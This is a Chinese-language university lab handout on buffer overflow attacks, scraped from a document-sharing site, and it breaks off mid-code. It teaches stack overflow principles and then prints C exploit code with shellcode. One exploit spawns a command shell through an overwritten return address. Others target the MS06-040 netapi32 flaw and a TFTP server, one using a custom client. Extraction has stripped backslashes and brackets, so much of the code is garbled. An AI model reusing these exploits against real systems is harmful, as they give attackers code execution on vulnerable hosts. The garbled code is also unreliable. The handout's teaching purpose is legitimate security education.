




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、实验单元四. 缓冲区溢出攻击技术一、实验目的和要求1. 掌握缓冲区溢出的原理;2. 掌握缓冲区溢出漏洞的利用技巧;3. 理解缓冲区溢出漏洞的防范措施。二、实验内容和原理缓冲区溢出的原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的根本原因是程序中缺少错误检测。当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户 shell,再通过 shell 执行其它命令。如果该程序属于 root,攻
2、击者就获得了一个有 root 权限的 shell,可以对系统进行任意操作。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。三、实验项目缓冲区溢出产生cmd窗口;改写函数返回地址;shellcode的编写;shellcode的植入。四、实验所需软硬件1)仪器设备条件:PC及其网络
3、环境;2)物质条件:Windows XP SP3、Linux、Gcc、Visual C+ 6.0 编译器等,OllyDbg; 3)相关文献资料:课件及网上收集的资料。五、操作方法与实验步骤1. 缓冲区溢出漏洞产生的的基本原理和攻击方法n 缓冲区溢出模拟程序程序源代码如下:#include "string.h"#include "stdio.h"#include<windows.h>/char name="AAAAAAAAAAAAAAAA"char name="AAAAAAAAAAAAABCD"int m
4、ain()char output8;strcpy(output, name);/内存拷贝,如果name长度超过8,则出现缓冲区溢出for(int i=0;i<8&&outputi;i+) printf("0x%x",outputi);printf("n");return 0;运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。n 运行命令窗口的shellcodeshellcode测试代码如下:#include "
5、;string.h"#include "stdio.h"#include<windows.h>char name= "x41x41x41x41" "x41x41x41x41" "x41x41x41x41" /覆盖ebp "x12x45xfax7f" /覆盖eip, jmp esp地址7ffa4512 "x55x8bxecx33xc0x50x50x50xc6x45xf4x6d" "xc6x45xf5x73xc6x45xf6x76xc6x45xf7
6、x63" "xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e" "xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c" "x8dx45xf4x50xb8" "x77x1dx80x7c" / LoadLibraryW的地址 "xffxd0" "x55x8bxecx33xffx57x57x57xc6x45xf4x73" "xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72" &quo
7、t;xc6x45xf8x74xc6x45xf9x20xc6x45xfax63" "xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57" "xba" "xc7x93xbfx77" / System 的地址 "xffxd2" int main()char output8;strcpy(output, name);for(int i=0;i<8&&outputi;i+) printf("0x%x",outputi);printf("n&q
8、uot;);return 0;shellcode测试代码运行效果如下:由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。2. MS06-040 缓冲区溢出漏洞分析和利用n 溢出点定位溢出点定位源代码#include <windows.h>typedef void (*MYPROC)(LPTSTR);int main()char arg_10x320;char arg_20x440;int arg_3=0x440;char arg_40x100;long arg_5=44;i
9、nt i=0; HINSTANCE LibHandle;MYPROC Trigger;char dll = "./netapi32.dll" char VulFunc = "NetpwPathCanonicalize"LibHandle = LoadLibrary(dll);/加载当前目录的netapi32.dllTrigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);/获得NetpwPathCanonicalize的调用地址/填充参数memset(arg_1,0,sizeof(arg_1);/先清零内
10、存memset(arg_1,'a',sizeof(arg_1)-2);/必须使用null结束符,填充aarg_1792='c'arg_1793='c'arg_1794='c'arg_1795='c'memset(arg_4,0,sizeof(arg_4);/先清零内存memset(arg_4,'b',sizeof(arg_4)-2);/必须使用null结束符,填充b(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);/调用NetpwPathCanonica
11、lizeFreeLibrary(LibHandle);return 0;程序运行效果如下:可以看到错误访问地址为63636363,即为c的编码,所以成功得定位了溢出点。n 漏洞利用漏洞利用的源代码如下:#include <windows.h>typedef void (*MYPROC)(LPTSTR);char shellcode="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C""x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53""x
12、68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B""x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95""xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59""x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A""xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75""x
13、E4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03""x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB""x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50""x53xFFx57xFCx53xFFx57xF8"int main()char arg_10x320;char arg_20x440;int arg_3=0x440;char arg_40x100;long arg_5=44;HIN
14、STANCE LibHandle;MYPROC Trigger;char dll = "./netapi32.dll" char VulFunc = "NetpwPathCanonicalize"LibHandle = LoadLibrary(dll);Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);memset(arg_1,0,sizeof(arg_1);memset(arg_1,0x90,sizeof(arg_1)-2);memset(arg_4,0,sizeof(arg_4);memset
15、(arg_4,'a',sizeof(arg_4)-2);memcpy(arg_4,shellcode,168);arg_10x318=0xF9;/ CALL ECX 的地址arg_10x319=0x52;arg_10x31A=0x18;arg_10x31B=0x75;(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);FreeLibrary(LibHandle);漏洞利用的效果如下:可以看到成功的利用该漏洞,弹出了一个对话框。3. TFTPD溢出漏洞分析与利用n 溢出点定位1.构造FUZZtftp get AAAA
16、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFUZZ中包含288个A,这个值
17、是通过多次测试获得的, 运行效果如下,可以看到发生了溢出:2.确定溢出点 采用284个A+1234的fuzz,运行效果如下:可以看到程序转到了34333231,溢出点定位成功。3.程序中溢出点定位使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom, 如下所示:从这里找到recvfrom函数的位置,在此设置断点:然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:运行004063A4函数之后,栈
18、的状态如下,可以看到EIP被我们的数据覆盖:运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。n 溢出漏洞利用分析首先肯定是想到利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:POP XRET代
19、码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:这样就可以构造如下的shellcode:"x55x8bxecx33xc0x50x50x50xc6x45xf4x6d" / 12 "xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63" / 24 "xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e" / 36 "xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c" / 48 "
20、x8dx45xf4x50xb8" / 53 "x77x1dx80x7c" / LoadLibraryW的地址 / 57 "xffxd0" / 59 "x55x8bxecx33xffx57x57x57xc6x45xf4x73" / 71"xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72" / 83 "xc6x45xf8x74xc6x45xf9x20xc6x45xfax63" / 95 "xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x
21、57" / 107"xba" / 108 "xc7x93xbfx77" / System 的地址 / 112 "xffxd2" / 114 "x90x90x90x90" / 118"x90x90x90x90x90x90x90x90x90x90"/ 128"x90x90x90x90x90x90x90x90x90x90"/ 138"x90x90x90x90x90x90x90x90x90x90"/ 148"x90x90x90x90x90x90
22、x90x90x90x90"/ 158"x90x90x90x90x90x90x90x90x90x90"/ 168"x90x90x90x90x90x90x90x90x90x90"/ 178"x90x90x90x90x90x90x90x90x90x90"/ 188"x90x90x90x90x90x90x90x90x90x90"/ 198"x90x90x90x90x90x90x90x90x90x90"/ 208"x90x90x90x90x90x90x90x90x90x90"
23、/ 218"x90x90x90x90x90x90x90x90x90x90"/ 228"x90x90x90x90x90x90x90x90x90x90"/ 238"x90x90x90x90x90x90x90x90x90x90"/ 248"x90x90x90x90x90x90x90x90x90x90"/ 258"x90x90x90x90x90x90x90x90x90x90"/ 268"x90x90x90x90x90x90x90x90x90x90"/ 278"x90x90x
24、90x90x90x90" / 284"xB0x01xFCx7F" / EIP地址 / 288该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。n 漏洞利用直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个A + 0xB0 + 0x01 + 0xFC + 0x7F,发送到服务器端,发现实际地址不对:发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:#include <Winso
25、ck2.h> #include <windows.h> #include <stdio.h> / 弹出命令框的Shell长度#define CMD_SHELL_LENGTH 300/ 弹出命令框的shellcodechar cmdshellCMD_SHELL_LENGTH + 1= "x00x01" / 2"x55x8bxecx33xc0x50x50x50xc6x45xf4x6d" / 14 "xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63" / 26 "xc6x45x
26、f8x72xc6x45xf9x74xc6x45xfax2e" / 38 "xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c" / 50 "x8dx45xf4x50xb8" / 55 "x77x1dx80x7c" / LoadLibraryW的地址 / 59 "xffxd0" / 61 "x55x8bxecx33xffx57x57x57xc6x45xf4x73" / 73"xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72"
27、; / 85 "xc6x45xf8x74xc6x45xf9x20xc6x45xfax63" / 97 "xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57" / 109"xba" / 110 "xc7x93xbfx77" / System 的地址 / 114 "xffxd2" / 116 "x90x90x90x90" / 120"x90x90x90x90x90x90x90x90x90x90"/ 130"x90x90x90x9
28、0x90x90x90x90x90x90"/ 140"x90x90x90x90x90x90x90x90x90x90"/ 150"x90x90x90x90x90x90x90x90x90x90"/ 160"x90x90x90x90x90x90x90x90x90x90"/ 170"x90x90x90x90x90x90x90x90x90x90"/ 180"x90x90x90x90x90x90x90x90x90x90"/ 190"x90x90x90x90x90x90x90x90x90x9
29、0"/ 200"x90x90x90x90x90x90x90x90x90x90"/ 210"x90x90x90x90x90x90x90x90x90x90"/ 220"x90x90x90x90x90x90x90x90x90x90"/ 230"x90x90x90x90x90x90x90x90x90x90"/ 240"x90x90x90x90x90x90x90x90x90x90"/ 250"x90x90x90x90x90x90x90x90x90x90"/ 260"x90x90x90x90x90x90x90x90x90x90"/ 270"x90x90x90x90x90x90x90x90x90x90"/ 280"x90x90x90x90x90x90" / 286"xB0x01xFCx7F" / EIP地址 / 290 "x0netasciix0" / 300void main()WORD wVersionRequested;
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 中国USB线行业市场全景调研及投资规划建议报告
- 中国微波中继设备行业市场全景分析及投资策略研究报告
- 2021-2026年中国中频熔炼电炉市场深度分析及投资战略咨询报告
- 2025年 昌吉州招聘中学教师笔试试题附答案
- 2025年中国云终端行业市场调查研究及投资前景预测报告
- 2025年电影放映项目深度研究分析报告
- 高性能绝缘材料项目可行性研究报告方案可用于立项及银行贷款+201
- 1000吨年铝基复合材料建设投资项目可行性实施报告
- 纱布底植绒布项目投资可行性研究分析报告(2024-2030版)
- 社区危旧房改造项目可行性研究报告
- 2021年中国社会科学院大学统计学原理期末精练试卷
- 2024年《军事理论》考试题库附答案(含各题型)
- 广东省中山市2022-2023学年高二下学期期末数学试题(学生版+解析)
- 2024年国家开放大学《统计学原理》形成性考核1-4题目及答案
- 《无衣》教学设计 统编版高中语文选择性必修上册
- 合肥市住宅小区物业服务等级标准
- 创造心智与创新训练智慧树知到期末考试答案2024年
- 食品厂员工卫生培训方案
- 危房改造工程投标方案(技术标)
- 北京市西城区2022年五年级下册《数学》期末试卷与参考答案
- (完整)大体积混凝土测温记录表
评论
0/150
提交评论